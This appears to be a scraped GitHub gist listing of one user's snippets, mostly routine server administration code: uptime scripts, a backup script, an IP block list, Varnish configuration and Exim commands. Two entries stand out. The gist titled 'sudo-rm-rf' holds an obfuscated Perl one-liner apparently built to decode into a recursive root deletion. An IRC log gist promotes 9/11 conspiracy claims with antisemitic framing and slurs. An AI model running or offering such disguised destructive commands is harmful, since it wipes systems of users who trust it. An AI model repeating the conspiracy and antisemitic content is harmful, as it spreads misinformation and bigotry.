Skip to content

Instantly share code, notes, and snippets.

View k0nsl's full-sized avatar
🎯
Focusing

k0nsl k0nsl

🎯
Focusing
View GitHub Profile
@k0nsl
k0nsl / k0nsl-php-uptime.php
Created December 18, 2013 12:31
Uptime via PHP. Saved from my blog since I have now replaced this with a much more efficient and secure method (bash > html outoput).
<?php
function linuxUptime() {
$ut = strtok(exec("cat /proc/uptime" ), ".");
$days = sprintf("%2d", ($ut/(3600*24)));
$hours = sprintf("%2d", ( ($ut % (3600*24)) / 3600));
$min = sprintf("%2d", ($ut % (3600*24) % 3600)/60);
$sec = sprintf("%2d", ($ut % (3600*24) % 3600)%60);
return array($days, $hours, $min, $sec);
}
@k0nsl
k0nsl / k0nsl-uptime-bash
Created December 18, 2013 12:11
Output hostname and uptime (in days only). The output is used in conjunction with a cronjob and output is redirected to a HTML file.
#!/bin/bash
# uptime-bash.sh for https://k0nsl.org
uptime=$(</proc/uptime)
uptime=${uptime%%.*}
days=$(( uptime/60/60/24 ))
host=$(hostname)
echo "<small>$host up for $days days so far :)</small>"
@k0nsl
k0nsl / 911-still-propagated-by-some
Last active December 31, 2015 04:39
The official 911-story is still propagated by some people, in this case two Jews tries to support the already heavily discredited story.
<benito> there are (incredibly) still people who believe the lame 11 September official story. I even saw a seemingly normal guy weeping about it just recently, not because he lost somebody that day, but because how evil terrorists could do such a ghastly thing. That stupid cunt probably voted for the terrorist who did it, or authorized it. Dumb shit.
<k0nsl> benito, but the Americans in-charge blew it up for a good thing (sarcasm), so it is cool, doth protest too much sometimes...but I agree, they could have put more thought into it.
<benito> stupid.
<k0nsl> btw, and this you know too well, only terrorists watch MainstreamSmasherTV ;)
<benito> i'm no terrorist, k0nsl, i'm a realist.
<akcom> benito how did the government engineer sept 11th?
<benito> i'm not about to repeat that spiel right here, but let me ask you, do you believe the official story of it? Yes or no.
<akcom> I believe the twin towers were hit by passenger jets
<akcom> and the jets were being directed by muslim extremists
<benito> you are an id
@k0nsl
k0nsl / backup-proxmox
Created November 25, 2013 08:32
Backup all OpenVZ containers in Proxmox. Author James Coyle.
#!/bin/bash
#
# Filename : backup_all
# Description : Backup all OpenVZ containers in Proxmox
# Author : James Coyle
#
# Version:
# -Date -Author -Description
# 20-11-2013 James Coyle Initial
#
@k0nsl
k0nsl / k0nsl-block-ips01
Last active December 29, 2015 02:49
To keep track of IPs to permanently block. I will keep it updated at the spur of the moment.
200.76.17.206 # lfd: (pop3d) Failed POP3 login from 200.76.17.206 (MX/Mexico/static-200-76-17-206.alestra.net.mx): 10 in the last 300 secs - Thu May 16 03:12:34 2013
124.229.46.0 # lfd: (smtpauth) Failed SMTP AUTH login from 124.229.46.0 (CN/China/-): 5 in the last 300 secs - Thu May 16 20:21:19 2013
200.105.228.106 # lfd: (pop3d) Failed POP3 login from 200.105.228.106 (EC/Ecuador/corp-200-105-228-106-uio.punto.net.ec): 10 in the last 300 secs - Sun May 19 13:44:45 2013
190.213.51.71 # lfd: (pop3d) Failed POP3 login from 190.213.51.71 (TT/Trinidad and Tobago/-): 10 in the last 300 secs - Sun May 26 18:41:42 2013
117.214.175.175 # lfd: (cpanel) Failed cPanel login from 117.214.175.175 (IN/India/-): 5 in the last 300 secs - Wed May 29 03:19:04 2013
117.214.175.31 # lfd: (cpanel) Failed cPanel login from 117.214.175.31 (IN/India/-): 5 in the last 300 secs - Wed May 29 04:45:10 2013
69.172.245.46 # lfd: (pop3d) Failed POP3 login from 69.172.245.46 (US/United States/-): 10 in the last 300 secs - Sat Jun 1 22:50:1
@k0nsl
k0nsl / hide-google-plus-goobly-gook_k0nsl
Created November 20, 2013 14:31
Hide Google+ goobly gook in WP-Jetpack.
$output = '';
$output .= '<div style="display:none" id="k0nsl">';
$output .= '<div class="sharedaddy sd-block sd-social sd-gplus">';
$output .= '<h3 class="sd-title">' . __( 'Google+', 'jetpack' ) . '</h3>';
$output .= '<div class="sd-content">';
$output .= $this->byline( $post );
$output .= $this->follow_button( $post );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';
@k0nsl
k0nsl / k0nsl-OpenSC.ws
Created November 16, 2013 09:16
A bit of chat with the founder of OpenSC.ws
/**
* NOTE
*
* This person was the founder of a community called OpenSC.ws http://zerosecurity.org/technews/the-real-owner-of-opensc-ws
*
*
* As for his obsession with 'nazism'...well, clearly he has issues.
*/
@k0nsl
k0nsl / varnish-vcl-k0nsl
Created November 13, 2013 11:35
k0nsl VCL, 9 Oct 2012.
#custom includes
include "backends.vcl";
include "acl.vcl";
# recieving sub
sub vcl_recv {
# If httpd goes down, is unavilable or too slow we serve cache
set req.grace = 6h;
@k0nsl
k0nsl / sudo-rm-rf
Created November 12, 2013 00:24
sudo rm -rf /*
s{}{A0[_HRE:-r:P-):LX]};y{[:\-)_PERLHAX0r]}{{ rfs\-od/uq*xm}};m.(?{$_}).
@k0nsl
k0nsl / disable-exim-cpanel-whm
Created November 11, 2013 21:01
A way to disable Exim (applies to WHM/cPanel too).
service exim stop
chkconfig exim off
touch /etc/eximdisable (or create an empty file in /etc with the filename 'eximdisable')